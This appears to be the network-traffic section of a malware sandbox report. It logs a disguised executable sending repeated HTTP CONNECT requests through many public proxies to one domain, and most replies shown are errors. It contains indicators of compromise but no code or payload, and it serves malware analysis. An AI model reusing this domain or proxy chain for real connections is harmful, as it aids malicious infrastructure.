Mar 11, 2024 16:42:20.081348896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.11	51037	160.16.90.35	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.085860968 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:20.446712971 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.11	50373	72.195.114.169	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.086149931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.11	51126	104.16.224.33	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.092808008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.247208118 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.11	51116	138.68.60.8	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.133579969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.491255045 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.11	51039	46.35.9.110	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.135776997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.11	50981	103.190.54.141	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.135982037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.11	51139	162.159.242.10	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.136420965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.297534943 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.11	51028	185.49.31.207	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.136473894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.11	51041	152.32.130.117	18080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.136687994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.11	51083	174.77.111.197	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.136778116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.11	51036	185.132.242.212	8083	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.145334959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.11	51030	14.103.24.20	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.146928072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.11	50356	128.199.196.31	27102	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.149571896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.188740015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.189718008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.188921928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.204238892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.266696930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.286010027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:32.282248020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.11	51138	23.95.209.142	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.152136087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.11	51070	164.92.237.188	52395	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.155461073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.813605070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.11	51106	184.181.217.210	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.167359114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.11	51059	202.179.184.44	5430	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.169821978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.11	50464	72.195.34.60	27391	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.194149971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.11	51155	138.68.235.51	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.203809977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.657327890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.172945976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.186861038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.311897039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.438934088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.505007982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.299029112 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:30 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Mar 11, 2024 16:42:30.299041986 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.11	51029	43.231.22.229	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.204699993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.016618967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.11	51174	104.19.247.62	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.211425066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.365889072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.11	51105	130.162.213.175	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.214112043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.502217054 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.11	51050	37.156.146.163	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.216512918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.985466957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.186198950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.603436947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.329602957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.939033031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.642510891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.860481024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:06.469794035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.11	51109	121.128.194.154	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.220468998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
